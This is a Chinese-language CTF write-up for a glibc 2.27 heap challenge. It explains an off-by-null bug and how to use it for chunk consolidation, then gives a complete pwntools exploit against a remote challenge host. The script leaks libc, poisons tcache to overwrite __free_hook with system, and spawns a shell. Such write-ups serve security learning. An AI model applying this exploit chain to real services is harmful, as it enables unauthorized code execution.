这题我认为是比较有思考意义的。
版本是2.27,有tcachebin,但大部分安全检测都没有。
直接看add函数。
不能得到fastbin,也不能直接0x410分配到unsortedbin了,并且最多同时存在16个chunk。
free后会把指针情况,没有uaf漏洞。
所以着重看edit函数。
点进去看check。
if ( *a1 == 17 )
*a1 = 0;
很明显off-by-null漏洞,可以将前一个chunk分配为0xf8,然后将0xf8都填满,后一个chunk若size域为0x211,由于小端序,最低位为'\x11',就是17,会被覆盖成'\x00'。
此时要开始考虑堆的设计,如果后一个chunk是0x211,被覆盖后则会变成0x200,这时候要保证0x200大小的tcachebin全都被填满了。
第二点,当你释放被覆盖的chunk是,它会去向后检查能否合并,后面一个chunk的地址是当前chunk的地址加上size,但是你的size域减少了0x10,程序就找不到下一个chunk的pre_size和size域,所以要edit一下,布置一下下一个chunk的头部。
一下是这部分代码:
for i in range(10):
add(0x208)
for i in range(10,17):
add(0x1f0)
for i in range(10,17):
delete(i)
for i in range(5):
delete(i)
delete(7)
delete(8)
delete(5)
payload=b'a'*0x1f0+p64(0)+p64(0x211)
edit(9,payload)
随后要更改2次,第一个覆盖size域,使其pre_inuse清空,第二次更改其pre_size域。
payload=b'a'*0x208
edit(0,payload)
payload=b'a'*0x200+p64(0x840)
edit(0,payload)
最后delete(9)就能合并chunk成功。
接下来就没什么意思了,以下是全部代码:
from pwn import *
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
io=remote('node4.anna.nssctf.cn',28672)
#io=remote('pwn.challenge.ctf.show',28284)
#io=process('./pwn')
def add(size):
io.recvuntil(b"> ")
io.sendline(b'1')
io.recvuntil(b"Input size: ")
io.sendline(str(size).encode())
def delete(idx) :
io.recvuntil(b"> ")
io.sendline(b'2')
io.recvuntil(b"Input index: ")
io.sendline(str(idx).encode())
def show(idx):
io.recvuntil(b"> ")
io.sendline(b'4')
io.recvuntil(b"Input index: ")
io.sendline(str(idx).encode())
def edit(idx,content) :
io.recvuntil(b"> ")
io.sendline(b'3')
io.recvuntil(b"Input index: ")
io.sendline(str(idx).encode())
sleep(1)
io.send(content)
for i in range(10):
add(0x208)
for i in range(10,17):
add(0x1f0)
for i in range(10,17):
delete(i)
for i in range(5):
delete(i)
delete(7)
delete(8)
delete(5)
payload=b'a'*0x1f0+p64(0)+p64(0x211)
edit(9,payload)
add(0x208)#0
payload=b'a'*0x208
edit(0,payload)
payload=b'a'*0x200+p64(0x840)
edit(0,payload)
delete(9)
add(0x220)#1
add(0x3f0)#2
show(0)
usbin=int(b'0x'+io.recv(12),16)
print('usbin:',hex(usbin))
malloc_hook=usbin-0x70
libc_base=malloc_hook-libc.sym['__malloc_hook']
print('libc_base:',hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
print('free_book:',hex(free_hook))
system=libc_base+libc.sym['system']
payload=b'a'*0x1e0+p64(0)+p64(0x211)+p64(free_hook)
edit(2,payload)
add(0x208)#3
add(0x208)#4
edit(4,p64(system))
edit(3,b'/bin/sh\x00')
io.interactive()